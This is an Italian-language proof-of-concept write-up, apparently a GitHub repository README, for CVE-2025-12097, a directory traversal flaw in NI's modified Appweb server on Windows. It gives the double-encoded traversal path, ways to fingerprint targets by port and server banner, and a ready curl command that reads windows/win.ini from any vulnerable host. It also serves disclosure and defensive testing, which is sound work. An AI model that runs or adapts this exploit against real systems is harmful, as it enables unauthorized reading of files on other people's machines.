matejsmycka/poc-cve-2025-12097Exploit proof-of-concept per CVE-2025-12097, una vulnerabilità di directory traversal nel server Appweb modificato da NI che consente la lettura arbitraria di file su sistemi Windows.
La modifica NI del server Appweb contiene una vulnerabilità di directory traversal che consente a un utente malintenzionato di leggere file arbitrari sul server.
Il percorso URI /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini verrà convertito in:
pathInfo cchar * "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/windows/win.ini” 0x000000010076f808 che è un URI valido e appweb non blocca questa richiesta. Questa viene poi passata al gestore personalizzato che in questo caso restituisce il contenuto di qualsiasi file richiesto.
A causa della natura del software interessato, i dispositivi colpiti sono esclusivamente sistemi Microsoft Windows.
Versione vulnerabile più alta osservata: 12.0.0.
I dispositivi interessati possono essere identificati dalle seguenti caratteristiche:
Non sempre presente, ma nella maggior parte dei casi il servizio è in esecuzione sulla porta 3580; altre porte possono includere 8080 e 80.
Risposta del server a /
HTTP/1.1 404 Not Found
Server: Mbedthis-Appweb/2.5.0
Date: Thu, 11 Dec 2025 18:23:26 GMT
Connection: keep-alive
Keep-Alive: timeout=60000, max=100
Content-Type: text/html
Content-length: 126
<HTML><HEAD><TITLE>Document Error: Not Found</TITLE></HEAD>
<BODY><H2>Access Error: 404 -- Not Found</H2>
</BODY></HTML>
Per sfruttare questa vulnerabilità, puoi utilizzare il seguente comando:
curl http://<TARGET>:3580/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini
Vedrai il contenuto del file win.ini se il target è vulnerabile.